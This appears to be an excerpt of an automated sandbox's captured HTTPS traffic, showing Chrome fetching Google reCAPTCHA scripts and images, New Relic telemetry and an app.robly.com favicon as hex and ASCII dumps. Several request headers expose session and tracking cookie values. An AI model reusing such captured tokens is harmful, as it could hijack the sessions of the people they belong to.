2024-04-25 13:30:14 UTC	1255	IN	Data Raw: 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 26 26 21 61 2e 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 28 22 63 61 6c 6c 22 29 29 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 7d 65 6c 73 65 20 72 65 74 75 72 6e 22 6e 75 6c 6c 22 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 4e 26 26 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 61 2e 63 61 6c 6c 29 72 65 74 75 72 6e 22 6f 62 6a 65 63 74 22 3b 72 65 74 75 72 6e 20 4e 7d 2c 72 78 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 4e 29 7b 66 75 6e 63 74 69 6f 6e 20 79 28 29 7b 74 68 69 73 2e 69 3d 28 74 68 69 73 2e 6e 3d 30 2c 5b 5d 29 7d 72 65 74 75 72 6e 5b 66 75 6e 63 74 69 6f 6e 28 6d 29 7b 28 61 2e 46 78 28 6d 29 2c 4e 29 2e 46 78 28 6d 29 7d 2c 28 4e 3d 6e 65 77 20 28 28 Data Ascii: yIsEnumerable&&!a.propertyIsEnumerable("call"))return"function"}else return"null";else if("function"==N&&"undefined"==typeof a.call)return"object";return N},rx=function(a,N){function y(){this.i=(this.n=0,[])}return[function(m){(a.Fx(m),N).Fx(m)},(N=new ((
2024-04-25 13:30:14 UTC	1255	IN	Data Raw: 4e 2c 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 3a 4e 2c 63 61 6c 6c 3a 4e 7d 29 7d 2c 4a 52 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 4e 2c 79 2c 6d 29 7b 71 28 28 6d 3d 28 79 3d 63 28 4e 29 2c 63 28 4e 29 29 2c 6d 29 2c 64 28 5a 28 4e 2c 79 29 2c 61 29 2c 4e 29 7d 2c 59 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 4e 29 7b 31 30 34 3c 4e 2e 73 2e 6c 65 6e 67 74 68 3f 4c 28 4e 2c 30 2c 5b 47 2c 33 36 5d 29 3a 28 4e 2e 73 2e 70 75 73 68 28 4e 2e 76 2e 73 6c 69 63 65 28 29 29 2c 4e 2e 76 5b 31 33 31 5d 3d 76 6f 69 64 20 30 2c 57 28 31 33 31 2c 4e 2c 61 29 29 7d 2c 55 70 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 4e 2c 79 2c 6d 2c 51 29 7b 69 66 28 6d 3d 4e 5b 30 5d 2c 6d 3d 3d 6e 34 29 61 2e 53 59 3d 32 35 2c 61 2e 4a 3d 74 72 75 65 2c 61 2e 6a 28 4e 29 3b Data Ascii: N,propertyIsEnumerable:N,call:N})},JR=function(a,N,y,m){q((m=(y=c(N),c(N)),m),d(Z(N,y),a),N)},Yb=function(a,N){104<N.s.length?L(N,0,[G,36]):(N.s.push(N.v.slice()),N.v[131]=void 0,W(131,N,a))},Up=function(a,N,y,m,Q){if(m=N[0],m==n4)a.SY=25,a.J=true,a.j(N);
2024-04-25 13:30:14 UTC	1255	IN	Data Raw: 3d 68 52 28 4e 2c 79 2c 61 2c 31 33 34 29 29 3a 4e 2e 76 5b 61 5d 3d 68 52 28 4e 2c 79 2c 61 2c 38 31 29 7d 31 38 3d 3d 61 26 26 28 4e 2e 52 3d 50 28 66 61 6c 73 65 2c 4e 2c 33 32 29 2c 4e 2e 42 3d 76 6f 69 64 20 30 29 7d 2c 52 68 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7d 2c 45 70 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 4e 2c 79 2c 6d 2c 51 2c 77 29 7b 66 6f 72 28 51 3d 28 77 3d 28 79 3d 28 28 28 6d 3d 28 4e 3d 61 5b 41 52 5d 7c 7c 7b 7d 2c 63 29 28 61 29 2c 4e 29 2e 42 72 3d 63 28 61 29 2c 4e 29 2e 6f 3d 5b 5d 2c 61 2e 55 3d 3d 61 3f 28 4b 28 61 29 7c 30 29 2d 31 3a 31 29 2c 63 28 61 29 29 2c 30 29 3b 51 3c 79 3b 51 2b 2b 29 4e 2e 6f 2e 70 75 73 68 28 63 28 61 29 29 3b 66 6f 72 28 4e 2e 5a 78 3d 5a 28 61 2c 77 29 3b 79 2d 2d 3b 29 4e Data Ascii: =hR(N,y,a,134)):N.v[a]=hR(N,y,a,81)}18==a&&(N.R=P(false,N,32),N.B=void 0)},Rh=function(a){return a},Ep=function(a,N,y,m,Q,w){for(Q=(w=(y=(((m=(N=a[AR]\|\|{},c)(a),N).Br=c(a),N).o=[],a.U==a?(K(a)\|0)-1:1),c(a)),0);Q<y;Q++)N.o.push(c(a));for(N.Zx=Z(a,w);y--;)N
2024-04-25 13:30:14 UTC	1255	IN	Data Raw: 30 29 2b 33 2c 4f 70 28 4e 29 29 2c 61 29 2e 55 2c 61 2e 55 3d 61 3b 74 72 79 7b 71 28 32 31 37 2c 5b 39 35 5d 2c 61 29 2c 71 28 31 37 35 2c 64 28 4e 2e 6c 65 6e 67 74 68 2c 32 29 2e 63 6f 6e 63 61 74 28 4e 29 2c 61 2c 39 29 7d 66 69 6e 61 6c 6c 79 7b 61 2e 55 3d 79 7d 7d 7d 2c 68 52 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 4e 2c 79 2c 6d 2c 51 2c 77 2c 76 2c 55 29 7b 72 65 74 75 72 6e 28 28 55 3d 28 51 3d 28 76 3d 6d 26 37 2c 63 76 29 2c 4e 3d 5b 2d 39 31 2c 2d 32 2c 2d 37 35 2c 2d 33 36 2c 37 38 2c 36 37 2c 4e 2c 35 35 2c 2d 39 31 2c 37 5d 2c 74 5b 61 2e 43 5d 28 61 2e 6d 4f 29 29 2c 55 29 5b 61 2e 43 5d 3d 66 75 6e 63 74 69 6f 6e 28 53 29 7b 76 2b 3d 36 2b 37 2a 6d 2c 77 3d 53 2c 76 26 3d 37 7d 2c 55 29 2e 63 6f 6e 63 61 74 3d 66 75 6e 63 74 69 6f 6e 28 53 Data Ascii: 0)+3,Op(N)),a).U,a.U=a;try{q(217,[95],a),q(175,d(N.length,2).concat(N),a,9)}finally{a.U=y}}},hR=function(a,N,y,m,Q,w,v,U){return((U=(Q=(v=m&7,cv),N=[-91,-2,-75,-36,78,67,N,55,-91,7],t[a.C](a.mO)),U)[a.C]=function(S){v+=6+7*m,w=S,v&=7},U).concat=function(S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49741	172.253.124.147	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:14 UTC	1148	OUT	GET /recaptcha/api2/payload?p=06AFcWeA4FZyNsaNE7-9uQkNBql1kxIYkOSyDw6ux814X4q-qVDRD-GTznrIshOU9-qF9Banu-WAyZ3DJM9mqROfBcPxrWwIosE3BC2sGY434woUXFGDcCL9Cmu0nvsy6OO0HrsSrzS5PCKeh6sI5Fc7mgdOw0F5UDaA1x2yjVGl7EVLbUUG9AK6egYXmp1k5sLEwJmISM6yGH&k=6Ld9XlUUAAAAABcR5houwBXwlA_3STKsG2SzYCVw HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6Ld9XlUUAAAAABcR5houwBXwlA_3STKsG2SzYCVw Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6d-m3A0uq6XaK5Wrd6tGGlp9Fkh5p9nGyCpd7x0tEHkAqtjhRdmG_c1Q5I-I0-K-xolAk4KQ5t-owfrcq4
2024-04-25 13:30:14 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Thu, 25 Apr 2024 13:30:14 GMT Date: Thu, 25 Apr 2024 13:30:14 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-25 13:30:14 UTC	6	IN	Data Raw: 37 36 34 34 0d 0a Data Ascii: 7644
2024-04-25 13:30:14 UTC	1255	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 c2 01 c2 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC!"$"$C"}!1AQa"q2
2024-04-25 13:30:14 UTC	1255	IN	Data Raw: 56 99 e2 7d 07 c6 36 c2 d7 50 55 b6 bd 1c 06 38 e6 b2 96 1f 95 73 53 d8 4a 4d 33 90 8a e5 88 c3 2a 82 6a 65 77 24 10 14 83 d4 d5 ed 73 c2 d7 da 7c cd 24 69 e6 db 9e 56 41 cd 61 f9 73 22 8d ce 32 0f 63 59 a9 29 6e 69 cc 6a c2 dc f5 0b 56 61 98 85 c6 fc e3 a5 63 27 9a 1b 00 e4 1e 6a 78 c9 df fb c2 50 50 e0 c7 73 68 5c 0c 64 90 d9 fd 2a 4f f4 77 51 ba 15 39 ee 6b 2e 09 06 08 53 91 9a b0 b7 01 1b 6f 24 77 ac dc 0a 5a 96 4d 95 ab 2b 19 61 8c a9 ed 8a a6 fe 1e d1 27 90 bb 59 45 96 fe 20 39 ab a9 2b 75 0c 08 3d 8d 4d 14 aa 14 e0 00 6a 1c 50 f4 31 8f 83 74 5c ff 00 ab 14 56 e7 99 fe d0 a2 a3 d9 0a d1 ec 72 9b 72 08 e8 3d 69 23 00 1e 73 4c 59 0e dc 01 93 9a 70 6e 47 3c d7 b4 8f 31 b0 c1 1d f8 a4 ce 29 e0 a9 38 23 eb 4c c7 07 bf 34 c4 28 00 9f 53 40 2c a3 18 14 87 Data Ascii: V}6PU8sSJM3jew$s\|$iVAas"2cY)nijVac'jxPPsh\dOwQ9k.So$wZM+a'YE 9+u=MjP1t\Vrr=i#sLYpnG<1)8#L4(S@,
2024-04-25 13:30:14 UTC	1255	IN	Data Raw: 48 ee 0d 34 d8 ac 34 44 01 00 12 0f 6a 76 d9 15 8a 96 06 9e 48 e7 9e 69 b8 3c f3 c9 fd 29 b6 c2 c3 40 72 08 e3 34 f5 27 6e 33 cd 18 c7 cc 4f 6a 40 43 30 e3 14 ae 30 c6 e3 c9 3f 5a 8e 44 60 4b 03 cd 4e d8 03 ad 37 20 8a 96 c2 c1 04 52 4c 9f 22 b3 37 a6 3a 53 a4 8d 97 3b d1 be 84 62 b6 7c 13 a8 a6 9f ac aa 4c a8 d0 cc 42 b6 f1 9c 57 a3 78 8f 41 b3 d5 b4 79 22 8a 34 59 31 ba 36 41 83 9a 9a b7 82 bf 40 bd 8f 1c dc 19 49 ee 29 54 9e 86 96 ea de 7b 7b 86 85 e3 d8 e8 70 ca 69 9c fc c7 77 43 49 4a e8 63 cb 1d dd 06 29 3a 66 93 71 3c 1e d4 e1 ca e4 7e 35 68 4c 43 92 b9 14 80 f1 93 c7 d2 9d 8e 38 e4 1e f4 cc 30 fc 29 80 ad 81 c9 23 f0 a6 33 10 72 00 e6 94 9c 7b e6 91 97 b9 38 e3 a5 00 27 dd c6 07 5a 1b 00 e3 8c d2 31 5c 80 0e 71 dc 0a 4e 09 27 a1 f6 a1 85 c9 40 50 Data Ascii: H44DjvHi<)@r4'n3Oj@C00?ZD`KN7 RL"7:S;b\|LBWxAy"4Y16A@I)T{{piwCIJc):fq<~5hLC80)#3r{8'Z1\qN'@P
2024-04-25 13:30:14 UTC	333	IN	Data Raw: 44 26 9a 15 70 7e 60 b8 cf 6a 70 38 e7 83 51 ee e4 9f 4e 28 8d b2 3a 1f 7e 2a 59 68 90 2e e1 49 9c 1c 0e f4 2b 13 90 0f 1e d4 a4 65 32 07 22 84 c4 35 89 c7 b5 1c 80 73 f8 53 d4 64 0c 74 ef 43 30 2b c8 fa 71 55 71 11 90 0f 3c 8a 8c 03 ce 73 52 6e 6c e3 14 83 39 04 0c 0a 61 a0 d4 65 2a 72 4e 07 ad 01 c8 20 e7 02 90 8e a9 f8 d0 a0 15 20 71 f5 a6 21 fe 68 53 cf 23 d6 90 4b 23 0c 3f 1e 84 74 a8 a5 42 e9 d7 a5 3e 06 c8 29 27 a7 14 9c 43 98 46 52 c7 3b 82 9e a0 fa d4 fb ee 44 4b c0 23 d4 53 76 ae 41 18 20 0e 33 4a 15 82 e6 39 31 9e d9 ac e5 02 e3 50 b0 6e a1 ba b7 fb 25 f4 49 3c 6c 30 41 e4 fe 75 ce eb fe 03 8a e6 36 bc d0 a4 57 3c 96 b7 27 04 1f ad 69 95 2b 96 c1 dd ed d6 9d 1c 93 45 cc 52 b2 1e be 99 ac 25 4f aa 35 55 0f 39 b1 17 56 13 e1 8c 91 4d 19 c1 0d c1 Data Ascii: D&p~`jp8QN(:~Yh.I+e2"5sSdtC0+qUq<sRnl9aerN q!hS#K#?tB>)'CFR;DK#SvA 3J91Pn%I<l0Au6W<'i+ER%O5U9VM
2024-04-25 13:30:14 UTC	1255	IN	Data Raw: 71 45 63 c9 44 5c af b9 db f6 c9 a4 07 3f 29 e0 d1 9e 79 24 d2 77 23 1c d7 6d 8e 60 18 dd 81 4a e3 be 4f d2 8c 63 19 a3 83 8c 13 d6 8b 92 c5 52 36 f7 14 87 1c 11 48 7a e7 34 b9 27 80 38 1c d2 1a 13 76 17 9c d2 ab 02 71 9a 69 f9 b9 07 14 b1 a8 e9 9e 3f 5a 18 d1 2f 5e f8 c5 35 db 3d 01 c9 a5 60 41 ce 78 14 d6 23 a9 35 28 b1 37 0e 73 4e 55 ca f0 78 34 84 03 c9 23 8a 5c 71 9e de d4 30 00 02 8c 1e 69 c0 7c bd 31 4d e0 91 c7 4e 69 57 39 0d 9e 3d 28 40 34 ae d3 bc d0 70 7b d2 31 62 76 f7 a7 2a 03 ef 9a 62 1a df 32 1e 32 05 0b 95 03 8a 36 32 64 8e 86 91 7e ee 40 24 f7 a2 c1 2d 85 27 0e 09 18 63 4a 48 53 cf 19 a1 41 2d bb 1d 29 78 e4 81 f9 d3 b3 21 08 02 91 c7 04 d2 ed 18 e9 9a 01 c7 06 9c 5b 68 3e fe d4 ec c2 c0 14 02 08 c0 a5 d8 08 1f 2f 43 4d 04 63 24 e0 53 c3 Data Ascii: qEcD\?)y$w#m`JOcR6Hz4'8vqi?Z/^5=`Ax#5(7sNUx4#\q0i\|1MNiW9=(@4p{1bv*b2262d~@$-'cJHSA-)x![h>/CMc$S
2024-04-25 13:30:14 UTC	1255	IN	Data Raw: 6c 2d f6 a8 c3 72 be 5f 03 d2 9b dd 17 6d 0f 0d b8 54 92 ec ae d3 b4 36 5b 8e a3 d3 f3 ad 1b 1b 58 55 37 79 6a 73 f7 b2 7a 1a a9 3c 4e 27 3b b9 56 3c 63 a9 3d ea cc 77 07 95 eb bb 80 4f 51 cd 77 a8 e8 2a 6d 2d cd 48 e1 b6 68 f3 f7 30 73 d3 a5 50 be b2 4f 9f 60 3b 41 dd 9c f2 0f ad 49 1c 99 b7 0b bc 9c b7 23 3c 1c 77 a8 ef 2e 37 13 b5 87 4c 70 3b 54 a8 c9 3b 9b b7 16 8e 76 73 3c 13 31 f3 02 e3 39 00 f3 f5 15 eb 7f b3 94 d3 36 bb 7f 1b 12 55 a3 1b b3 5e 55 74 ae f3 01 93 c9 f4 af 71 fd 9f ed de 36 bb 66 40 aa 10 60 95 eb 5d d1 9d a9 4a fd 8e 37 15 cc 7a ac 88 d9 e0 e2 98 46 4e 18 03 53 39 38 3c 74 a8 d8 0d c5 b3 ce 2b ca ea 5d ec 42 ca 58 ed cf 39 a7 ca 09 1c 63 3e dd 69 3f 84 67 ad 37 8d c7 92 31 43 63 b8 aa 18 2e 0f 5a 4c 9c 01 8c f3 4a 02 86 04 77 a4 dd Data Ascii: l-r_mT6[XU7yjsz<N';V<c=wOQw*m-Hh0sPO`;AI#<w.7Lp;T;vs<196U^Utq6f@`]J7zFNS98<t+]BX9c>i?g71Cc.ZLJw
2024-04-25 13:30:14 UTC	1255	IN	Data Raw: e9 4a 33 d3 81 40 c5 04 67 3c 7b d2 36 d3 9e be c6 94 e3 3f d2 93 1c 67 9c 0e d4 0d 21 10 e0 1e e4 50 19 87 20 63 d7 34 a1 73 d3 bd 2e 37 1f bb 8f 5a 45 0d dc 49 e3 a7 73 4e 20 15 27 39 c5 29 53 95 18 c1 f5 34 d6 04 82 09 cd 08 41 81 cf 6f 7a 51 d0 e0 f3 4d 39 09 cf dd 14 aa 79 c8 3d 68 13 17 e6 e0 1a 51 9c 62 82 39 07 3d 28 1c 11 46 a2 0e 76 f5 a4 20 13 c9 34 a0 fc c4 66 94 f1 54 84 2e 3b 0e 94 6e 04 f1 d6 91 41 c6 68 23 1d a8 10 a0 71 8a 70 c8 e8 69 a7 8a 39 c8 f7 a0 64 8c 54 21 76 38 00 64 9a f3 1d 4b e3 26 91 61 a9 4d 6a b6 73 4c a8 c5 77 a9 e3 8a f4 8b d0 46 9f 71 b7 a9 8d b0 3f 03 5f 1c df 82 35 19 f3 cf ef 5b 3e e7 26 b4 c3 b8 b9 59 99 cd b4 8f 7e 87 e3 5e 8a d8 0f 61 3a f7 eb 57 6c fe 2f f8 6e ee 75 8c a4 f1 06 ee 40 c0 fa d7 cd c3 0a 79 fc ea 68 Data Ascii: J3@g<{6?g!P c4s.7ZEIsN '9)S4AozQM9y=hQb9=(Fv 4fT.;nAh#qpi9dT!v8dK&aMjsLwFq?_5[>&Y~^a:Wl/nu@yh
2024-04-25 13:30:14 UTC	1255	IN	Data Raw: 08 23 03 de b7 67 b0 83 52 be 10 dc ca f0 4a dc 6f 23 20 1e d5 ed df 18 4d 8d c4 8d 3b 69 36 f6 f3 2c db 84 96 e8 10 91 dd 48 e8 73 5e 63 e3 3d 0a 04 d2 ad f5 cd 1a 66 97 4e 98 7c ea 7e f4 4f e8 6b d9 c2 e2 29 d5 a5 ef 3d 4f 3f 13 4e ad 36 9b 47 94 f8 8e ce e7 4f d4 de ce e5 4a cb 13 10 c0 73 9f 4c 7e 15 1e 93 22 a5 cf 99 90 1d b8 39 ec 05 4d e3 2d 42 4b ad 4a 26 94 ee 91 23 08 4e 7a e3 a5 41 63 19 2b bd 80 0c 06 71 58 c1 b8 b3 5a 6e e8 e8 26 d4 a6 6b 75 42 c7 04 f1 ce 71 51 a4 ce 58 9e 59 88 e0 0f e7 54 50 b6 c2 79 f6 18 a9 17 7c 71 89 51 88 0f c0 20 d6 75 29 73 6a 74 d3 ac e2 cd 28 ee 12 36 67 20 96 23 ae de a7 d2 a6 9f 54 dd 66 b0 c8 df 32 72 01 38 1d ab 15 c8 1b 5b 2c 0f a6 69 ca ac e8 ce 4e 4f ad 6d 04 a3 12 6a d4 e6 77 22 b9 bb 61 70 4e 49 04 02 c7 Data Ascii: #gRJo# M;i6,Hs^c=fN\|~Ok)=O?N6GOJsL~"9M-BKJ&#NzAc+qXZn&kuBqQXYTPy\|qQ u)sjt(6g #Tf2r8[,iNOmjw"apNI
2024-04-25 13:30:14 UTC	1255	IN	Data Raw: 93 70 03 a8 a4 f0 31 ee 37 89 76 34 bc 55 a4 f8 39 34 f9 3e c1 3d cc d7 00 7c ac 78 04 d7 2f e0 bb 87 4b d4 45 63 bd 64 e3 d7 af 4a b7 73 b5 90 85 1c 8e a6 a8 78 2b ce 83 c6 36 c2 28 bc d9 0c c0 2a 75 e6 8c 34 96 16 a5 fa 0f 5a ea cc fb 63 e1 7d b5 83 e9 b0 5d 6b 77 8b 6c 9b 07 ee b7 72 78 af 4c 86 db c3 32 22 bd b3 85 04 7d e0 7a d7 c6 c9 af ea b1 6b 93 2d c9 95 25 46 c7 94 7f 87 d3 8a f4 af 04 f8 da e2 78 d2 09 19 83 06 da c2 b8 b1 d8 e8 d6 93 92 67 ab 87 ca e3 c9 76 77 1e 27 b0 8f 4e d5 67 86 36 49 63 ce 55 97 9c 8f 4a f9 73 c7 3a d1 be f1 a5 f7 db c3 2f 95 27 96 aa dc 00 05 7d 0b e2 0d 72 4b a7 09 a3 db bd d5 e0 e1 f1 f7 22 f7 26 b8 2f 10 fc 27 b7 d7 b3 7d 7b a8 ba 5f b9 dd 23 a8 e0 93 db 15 e2 c6 a2 84 ae cb a9 45 c1 d8 f2 5b bd 5e da 22 12 d0 8e 47 Data Ascii: p17v4U94>=\|x/KEcdJsx+6(*u4Zc}]kwlrxL2"}zk-%Fxgvw'Ng6IcUJs:/'}rK"&/'}{_#E[^"G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49743	108.177.122.99	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:14 UTC	606	OUT	GET /recaptcha/api2/reload?k=6Ld9XlUUAAAAABcR5houwBXwlA_3STKsG2SzYCVw HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6d-m3A0uq6XaK5Wrd6tGGlp9Fkh5p9nGyCpd7x0tEHkAqtjhRdmG_c1Q5I-I0-K-xolAk4KQ5t-owfrcq4
2024-04-25 13:30:14 UTC	518	IN	HTTP/1.1 405 HTTP method GET is not supported by this URL Content-Type: text/html; charset=UTF-8 Date: Thu, 25 Apr 2024 13:30:14 GMT Expires: Thu, 25 Apr 2024 13:30:14 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-25 13:30:14 UTC	244	IN	Data Raw: 65 65 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 21 2d 2d 20 47 53 45 20 44 65 66 61 75 6c 74 20 45 72 72 6f 72 20 2d 2d 3e 0a 3c 48 31 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 48 31 3e 0a 3c 48 32 3e 45 72 72 6f 72 20 34 30 35 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d 0a Data Ascii: ee<HTML><HEAD><TITLE>HTTP method GET is not supported by this URL</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">... GSE Default Error --><H1>HTTP method GET is not supported by this URL</H1><H2>Error 405</H2></BODY></HTML>
2024-04-25 13:30:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49744	162.247.243.29	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:14 UTC	1144	OUT	POST /1/041b6d5c93?a=582529278&v=1.257.0&to=cF5fRRZcDQ5TExkRRFFdWFJLXwAMUghYBm5DUFZUS1oPBlMZ&rst=7878&ck=0&s=d5e2078099f3d04d&ref=https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d&ap=158&be=1304&fe=5887&dc=1732&fsh=1&perf=%7B%22timing%22:%7B%22of%22:1714051805377,%22n%22:0,%22f%22:18,%22dn%22:108,%22dne%22:224,%22c%22:224,%22s%22:224,%22ce%22:780,%22rq%22:780,%22rp%22:1305,%22rpe%22:1489,%22di%22:3035,%22ds%22:3035,%22de%22:3036,%22dc%22:7189,%22l%22:7189,%22le%22:7191%7D,%22navigation%22:%7B%7D%7D&fp=2104&fcp=2104 HTTP/1.1 Host: bam.nr-data.net Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://app.robly.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://app.robly.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:14 UTC	438	IN	HTTP/1.1 200 Connection: close Content-Length: 148 date: Thu, 25 Apr 2024 13:30:14 GMT content-type: text/plain cross-origin-resource-policy: cross-origin access-control-allow-methods: GET, POST, PUT, HEAD, OPTIONS access-control-allow-credentials: true access-control-allow-origin: https://app.robly.com access-control-expose-headers: Date timing-allow-origin: https://app.robly.com x-served-by: cache-pdk-kfty2130060-PDK
2024-04-25 13:30:14 UTC	148	IN	Data Raw: 7b 22 73 74 6e 22 3a 30 2c 22 65 72 72 22 3a 30 2c 22 69 6e 73 22 3a 30 2c 22 73 70 61 22 3a 30 2c 22 73 72 22 3a 30 2c 22 73 72 73 22 3a 30 2c 22 73 74 22 3a 30 2c 22 73 74 73 22 3a 30 2c 22 61 70 70 22 3a 7b 22 61 67 65 6e 74 73 22 3a 5b 7b 22 65 6e 74 69 74 79 47 75 69 64 22 3a 22 4d 54 6b 7a 4e 44 6b 33 66 45 4a 53 54 31 64 54 52 56 4a 38 51 56 42 51 54 45 6c 44 51 56 52 4a 54 30 35 38 4e 6a 41 78 4d 7a 59 30 4e 7a 59 7a 22 7d 5d 7d 7d Data Ascii: {"stn":0,"err":0,"ins":0,"spa":0,"sr":0,"srs":0,"st":0,"sts":0,"app":{"agents":[{"entityGuid":"MTkzNDk3fEJST1dTRVJ8QVBQTElDQVRJT058NjAxMzY0NzYz"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49745	44.240.79.212	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:14 UTC	488	OUT	GET /favicon.ico HTTP/1.1 Host: app.robly.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _session_id=d3eacfdaa63ae6ce5266c4381ba98399; _ga_GWR6DEECHX=GS1.1.1714051808.1.0.1714051808.0.0.0; _ga=GA1.1.660345662.1714051809
